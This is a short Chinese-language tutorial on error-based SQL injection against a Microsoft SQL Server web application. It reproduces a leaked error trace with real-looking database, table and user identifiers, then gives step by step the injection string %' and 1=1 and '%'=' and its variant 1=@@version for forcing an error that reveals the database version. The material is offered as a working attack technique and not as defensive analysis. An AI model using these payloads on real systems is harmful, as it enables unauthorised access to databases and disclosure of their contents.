利用永真條件來實現sql注入方法

Q：遇到報錯的sql注入，怎麼辦？

 

 

 

 

一、首先，先把部分語句給copy下來：

SELECT @Total=COUNT(1) FROM (select * from (select *, ISNULL((select MAX(FOperateTime) from EAWP_Administration..TB_XZSQ_ProcInsOperateRecord where FInactivateDate is null and FOperateNO='50237414' and FProcInsID =a.FProcInsID),a.FLastUpdateDate) as ArrivedDate from EAWP_Administration..TB_XZSQ_Apply a where FInactivateDate is null and (FProcStatus=2 or FProcStatus=4) and FCreateBy='50237414') l where 1=1 AND FFormSubTitle LIKE '%B'%') T SELECT * FROM ( SELECT ROW_NUMBER() OVER (ORDER BY FProcStatus ASC,FCreationDate DESC) AS RowNumber,* FROM ( select * from (select *, ISNULL((select MAX(FOperateTime) from EAWP_Administration..TB_XZSQ_ProcInsOperateRecord where FInactivateDate is null and FOperateNO='50237414' and FProcInsID =a.FProcInsID),a.FLastUpdateDate) as ArrivedDate from EAWP_Administration..TB_XZSQ_Apply a where FInactivateDate is null and (FProcStatus=2 or FProcStatus=4) and FCreateBy='50237414') l where 1=1 AND FFormSubTitle LIKE '%B'%' ) AS N ) AS A WHERE A.RowNumber BETWEEN 1 AND 8 at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady) at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() at System.Data.SqlClient.SqlDataReader.get_MetaData() at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) at 。。。。。。（後面頗有很長的sql語句）

 

二、面對複雜的語句，如何下手？ 能夠把上面的語句簡化，容易分析

SELECT * FROM (select * from xxx where 1=1 AND F LIKE '%B'%')  。。。。。。（後面還有不少就無論了）

 

好了，下面開始研究如何注入。

 

利用永真條件來實現sql注入方法：
（若是不使用永真條件進行判斷的話，使用 ' and 1=@@version+-- 那麼很複雜的語句的話，會破壞掉整個sql語句的邏輯，致使執行sql查詢失敗，最終也沒法獲得版本）

一、若是遇到很複雜的語句怎麼辦？ 那麼咱們就把複雜的語句簡化爲下面這條語句，以避免亂軍心：
SELECT * FROM (select * from xxx where 1=1 AND F LIKE '%B%')

二、插入語句： %' and 1=1 and '%'=' 能夠讓語句拼接正常，而不會報錯
SELECT * FROM (select * from xxx where 1=1 AND F LIKE '%%' and 1=1 and '%'='%')

三、開始搞事情：把 1=1 改成 1=@@version 就會把「真」變成「假」，那麼數據庫將會報錯，就會爆出數據庫版本
SELECT * FROM (select * from xxx where 1=1 AND F LIKE '%%' and 1=@@version and '%'='%')